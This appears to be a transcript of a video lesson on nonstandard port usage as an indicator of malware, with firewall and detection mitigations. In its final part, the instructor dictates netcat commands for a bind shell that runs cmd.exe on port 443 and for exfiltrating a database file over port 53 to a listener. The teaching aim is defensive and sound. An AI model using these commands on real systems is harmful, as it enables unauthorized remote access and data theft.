Instructor: "Nonstandard Port Usage." 2 2
Now, before we can start talking 3 3
about nonstandard port usage, 4 4
we have to know what is a port. 5 5
Well, the Internet Assigned Numbers Authority 6 6
or IANA maintains a list of well-known 7 7
and registered TCP and UDP port mappings. 8 8
Now, each of these ports are basically 9 9
an opening on a computer. 10 10
Now, they're logical openings 11 11
but essentially they work as a door. 12 12
For instance, if you live in an apartment building 13 13
you all have the exact same address. 14 14
You might be living at 123 Main Street. 15 15
Well, that apartment building address 16 16
is just like the IP address on your computer. 17 17
That gets you to the computer, 18 18
but it doesn't tell you what service is running 19 19
on each individual room. 20 20
Just like if you go to the 123 Main Street 21 21
and you see an apartment building that has 500 apartments, 22 22
how do you know which of those 500 apartments I live in? 23 23
Well, you'd have to know my door number or port number. 24 24
And that's what we're going to talk about here. 25 25
Now, when we talk about a well-known port, 26 26
these are ports between zero and 1023. 27 27
Anytime you find a port between zero and 1023, 28 28
these are considered well-known ports under the IANA system. 29 29
Now on the second half, 30 30
we have what's called registered ports. 31 31
These are ports 1024 to 49151. 32 32
Now, if you go from ports 1,024 to 49,151, 33 33
anything in this range is considered a registered port. 34 34
Now, anytime you get above that 35 35
you start getting into dynamic ports, 36 36
these are ports 49,152 all the way up to 65,535. 37 37
Anything in this range is considered a dynamic port. 38 38
Now, these are just three categories of ports 39 39
but they are important for you to understand. 40 40
Now, when you're dealing 41 41
with a legitimate application server, 42 42
these things are going to use 43 43
well-known and registered ports by default. 44 44
So something underneath 49,152. 45 45
Now that's still a ton of ports out there. 46 46
Do you have to memorize all of those? Of course not. 47 47
But there are about 40 that you will need to know, 48 48
and we'll cover that in the next two lessons. 49 49
Now, let's take an example here. 50 50
You probably have used an internet site before. 51 51
For example, if you're watching this video, 52 52
you had to go into your web browser 53 53
and type in a domain name, 54 54
like diontraining.com to access it. 55 55
Now, if you're using it over HTTP, this is unsecure, 56 56
so it's using port 80. 57 57
If you want to get to my secure web server, 58 58
you would type in https://diontraining.com and hit enter. 59 59
That would operate over port 443 60 60
and create an encrypted tunnel 61 61
between your client and my server. 62 62
That's the way these ports work. 63 63
You're still going to the exact same server. 64 64
The only difference is which service is going to answer up, 65 65
is it going to be unencrypted port 80, or encrypted port 443? 66 66
And using that will help you determine 67 67
which part of the server, which function, 68 68
which service is going to answer that request. 69 69
Now, there is no definitive list or comprehensive list 70 70
of all of the different ports used by malware. 71 71
If I'm going to use something like a web server, 72 72
that may operate on port 80, but it doesn't have to. 73 73
And so every malware writer can decide 74 74
what ports they want to use. 75 75
And because they're not known 76 76
for documenting all of their port usage 77 77
with a central authority like IANA, 78 78
they can really just use any port they want. 79 79
So what might be an indicator 80 80
that a piece of malware is running on a port 81 81
instead of an authorized application? 82 82
Well, for one, if you see an open dynamic port on a machine, 83 83
something being the 49,152 range, 84 84
all the way up to 65,535 range, 85 85
and it appears to be constantly open on a host, 86 86
this could indicate a malicious traffic channel 87 87
because this isn't common. 88 88
These ports up in this range 89 89
are usually open for a short period of time, 90 90
used and then closed. 91 91
And so if you see one that's open 92 92
for long, long, long periods like days or weeks, 93 93
that could be an indication that somebody has running 94 94
some kind of a malicious server in that range. 95 95
Now, another thing that might tip you off 96 96
that there is something going on here with malware, 97 97
is that you start seeing non-standard port usage, 98 98
which is what the title of this lesson was. 99 99
Now, a non-standard port is when you see communications 100 100
of a TCP/IP application. 101 101
For instance, HTTP, which is web. 102 102
Or FTP, which is file transfer . 103 103
Or DNS, which is domain name system. 104 104
If you see any of this stuff happening over a port 105 105
that is not the well-known 106 106
or registered port established for that protocol, 107 107
this would be a non-standard port. 108 108
So I just used the example of web. 109 109
Web is HTTP, that's port 80. 110 110
If I was running that over port 153, for instance, 111 111
not port 80, that would be a non-standard port. 112 112
There's nothing wrong with doing that 113 113
but it is something that should flag as suspicious 114 114
and something you want to investigate. 115 115
Now, the first IoC we want to talk about here 116 116
is the use of a non-standard port 117 117
when a well-known or registered port 118 118
is already established for that purpose. 119 119
For example, malware might use a non-standard port 120 120
other than port 53 for DNS traffic. 121 121
So if I start sending DNS traffic over port 80, or port 20, 122 122
or port 63, or any number that is not 53, 123 123
that is considered non-standard. 124 124
Now, another indicator of compromise you might see, 125 125
is if you start finding mismatched port/application traffic 126 126
where non-standard traffic is communicated 127 127
over a well-known or registered ports. 128 128
So if I start taking some non-standard traffic, 129 129
and I start putting it over web port, port 80, 130 130
that is a well-known port, 131 131
and I'm not using web traffic over port 80, 132 132
that again, is something that is a mismatch 133 133
and that should flag you as something to investigate. 134 134
So what are some mitigations against this? 135 135
Now, the first mitigation is to configure your firewalls 136 136
to only allow whitelisted ports to communicate 137 137
on the ingress and egress interfaces. 138 138
So if you're using something 139 139
like an application layer firewall, 140 140
it can detect what application is being sent out. 141 141
If I'm trying to send web traffic 142 142
on something other than port 80 or port 443, 143 143
it can block it. 144 144
If I'm trying to receive web traffic 145 145
on something other than port 80 or port 443, 146 146
it can block it. 147 147
That's what we're talking about here with this mitigation. 148 148
Our second mitigation 149 149
is to have good configuration management. 150 150
And if we can have our configuration documentation, 151 151
showing us which server ports 152 152
are allowed on any given host type, 153 153
that allows us to then configure host-based firewalls 154 154
and other prevention mechanisms 155 155
from allowing non-standard things 156 156
to be run on those systems. 157 157
For example, if I just built a web server 158 158
and I said "For this server, I should only run ports 80, 159 159
ports 443, and ports 22." 160 160
Because I need to be able to 161 161
log in through SSH to configure that web server. 162 162
Anything else is going to be blocked. 163 163
And that way we can configure that host 164 164
in a more secure manner. 165 165
Our third mitigation is to configure detection rules 166 166
to detect mismatch protocol usage over a standard port. 167 167
So again, we're going to look at all of our standard ports 168 168
port 21, 22, 23, 25, 53, 80, things like that. 169 169
And if we start seeing things that don't match those ports, 170 170
we are going to flag those in our detection system 171 171
and that way our analysts can look into it further. 172 172
So I think at this point we have a good idea 173 173
of this non-standard port concept, 174 174
but one of the things that is often used by attackers 175 175
is the ability to get a remote shell 176 176
and then communicate that over some kind of, 177 177
standard or non-standard port. 178 178
Now, this is important because an attacker 179 179
is going to attempt to get remote access, 180 180
so they can start running commands on a victimized system. 181 181
And there's two ways they can do this. 182 182
The first is what's known as a shell. 183 183
Now, a shell is when an attacker opens a listening port 184 184
that exposes the command prompt on the local host 185 185
and connects to that port from a remote host. 186 186
The reverse of this is what's known as a reverse shell. 187 187
This is when an attacker opens a listening port 188 188
on the remote host and causes the infected host 189 189
to go and reach out and connect to it. 190 190
Now, the reason why reverse shells are popular 191 191
is because a lot of times, 192 192
the host is going to be behind a firewall, 193 193
and if it's behind a firewall 194 194
and you open a listening port on it, 195 195
well, the remote host can't get to it 196 196
because the firewall will block them 197 197
coming from the internet into the organization. 198 198
But a reverse shell is used to exploit organizations 199 199
that haven't configured outbound traffic 200 200
filtering at the firewall, 201 201
because a lot of firewalls have a policy set up 202 202
that if somebody on the inside requests to open the port 203 203
to go out, it will allow that. 204 204
And so in the case of reverse shell, 205 205
the listener is set up on the attacker's machine. 206 206
And so when you're making the connection, 207 207
you're going from the internal network, 208 208
opening the port to request the information 209 209
of that remote server. 210 210
Once you've opened that door, the attacker can then get in. 211 211
That's why reverse shells are very popular. 212 212
So you may be wondering, 213 213
how do you create a shell or reverse shell? 214 214
What does an attacker do? 215 215
Well, normally they're going to use a program, 216 216
like a Remote Access Trojan, 217 217
or they can do it manually using something like Netcat. 218 218
Netcat, also known as nc 219 219
because that's the command line tool, 220 220
is a utility for reading and writing raw data 221 221
over a network connection that's often used 222 222
as a listener for remote shells. 223 223
So if I wanted to set up a regular shell on a victim system, 224 224
I can do that by simply typing in nc -l for listening, 225 225
-: p for port, 443, the port I want to listen on, 226 226
-: e for execute, and cmd.exe the command line. 227 227
So what this is saying is netcat, 228 228
set up a listener on port 443 and execute the command, 229 229
cmd.exe whenever somebody connects to it. 230 230
Very simple command. 231 231
Now, on my machine, if I want to connect to that listener, 232 232
I would simply type in netcat 10.1.0.1 233 233
or the IP address I'm trying to connect to, 234 234
and the port number, 443. 235 235
If I hit enter, 236 236
I should get back a C prompt on that machine, 237 237
so I'm at the command prompt on the remote machine now. 238 238
That's the way we can connect to these things using a shell. 239 239
Now again, you can connect these in either way. 240 240
It can either be a shell or reverse shell. 241 241
It just depends on where the listener's being set up. 242 242
If the listener was being set up 243 243
inside the network on the victim, it's a shell. 244 244
If the listener's being set up on the attacker's machine 245 245
and making the victim connect to them, 246 246
that's a reverse shell. 247 247
Now, netcat can also be used with scripting 248 248
or redirection to be able to send and receive files. 249 249
And so we're actually going to go back a couple of sections 250 250
and bring back some of our scripting, 251 251
and some of our concepts that we talked about. 252 252
For instance, if I set up a listener to receive a file, 253 253
I'm going to use netcat -l for listener, -p for report. 254 254
Let's say we're going to use port 53 on DNS, 255 255
again, a non-standard report for our use here. 256 256
And then, we want to pipe that information into a file. 257 257
So anything that netcat receives over port 53 258 258
as it's listening is going to be dropped 259 259
into this database.sql file. 260 260
Now again, this is non-standard 261 261
because we're dealing with a SQL, which is database file, 262 262
but we're dealing with port 53, which is DNS, right? 263 263
So this might be something your system could flag. 264 264
Now, if I want to send that file to the listener, 265 265
what am I going to use? 266 266
Well, I'm going to use the type command, 267 267
which basically says, "Print this file to the screen. 268 268
And the file I want to print is database.sql." 269 269
Now, instead of just typing it to the screen though, 270 270
I'm going to use a pipe, 271 271
and by piping it, I can take the data 272 272
and send it to the next command. 273 273
So instead of pushing it to the screen, 274 274
I'm actually pushing it to netcat. 275 275
And netcat is going to send this to the listening IP, 276 276
which in this case says 10.1.0.21, 277 277
and it's going to receive it on whatever port 278 278
we have the listener set up on. 279 279
In this case, port 53. 280 280
So take this database and push it to the netcat listener. 281 281
And then the last command we just had, 282 282
we had the listener set up to receive 283 283
and whatever it received it pushed it into a file 284 284
called database.sql. 285 285
So we effectively have transferred this file. 286 286
So as you can see, 287 287
an attacker can use these non-standard ports 288 288
to start sending data around. 289 289
Because most systems will allow traffic out 290 290
on port 80, or 443, or port 53, 291 291
because you need that to run your business 292 292
to access the web and DNS. 293 293
But an attacker can also use those 294 294
to send out information to some server they've set up, 295 295
like netcat, that will listen on those ports, 296 296
even if they're not running DNS or web.